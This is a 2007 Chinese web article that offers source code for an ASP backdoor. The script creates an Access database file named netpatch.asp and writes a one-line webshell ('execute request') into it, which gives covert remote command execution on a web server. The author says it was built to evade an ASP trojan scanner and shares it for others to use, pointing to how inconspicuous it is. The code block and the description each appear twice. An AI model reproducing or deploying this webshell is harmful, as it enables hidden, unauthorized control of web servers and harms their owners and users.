新型ASP后門源代碼分析
更新時間:2007年01月16日 00:00:00 作者:
本是為了逃LAKER2兄 查ASP木馬程序的
現在已經挑戰(zhàn)成功,已經加為檢查對象了。公布出代碼給冰點的朋友使使,希望大家喜歡!
利用的是ADOX.Catalog組件
新建一個名稱為netpatch.asp的空數據庫文件
然后把一句話木馬插入新建的表中作為C/S版本的ASP馬用!
優(yōu)點,比較隱蔽,不容易讓人看出這是什么作用的!
現在已經挑戰(zhàn)成功,已經加為檢查對象了。公布出代碼給冰點的朋友使使,希望大家喜歡!
利用的是ADOX.Catalog組件
復制代碼 代碼如下:
<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 創(chuàng)建成功<br> "
else
Response.Write "創(chuàng)建失敗,原因: " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉!一句話后門 execute request(“n”))
rs.update
%>
此腳本主要是利用ADOX.Catalog組件 'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 創(chuàng)建成功<br> "
else
Response.Write "創(chuàng)建失敗,原因: " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉!一句話后門 execute request(“n”))
rs.update
%>
新建一個名稱為netpatch.asp的空數據庫文件
然后把一句話木馬插入新建的表中作為C/S版本的ASP馬用!
優(yōu)點,比較隱蔽,不容易讓人看出這是什么作用的!
相關文章
在MsSql、Access兩種數據庫中插入記錄后馬上得到自動編號的ID值
在MsSql、Access兩種數據庫中插入記錄后馬上得到自動編號的ID值...2006-07-07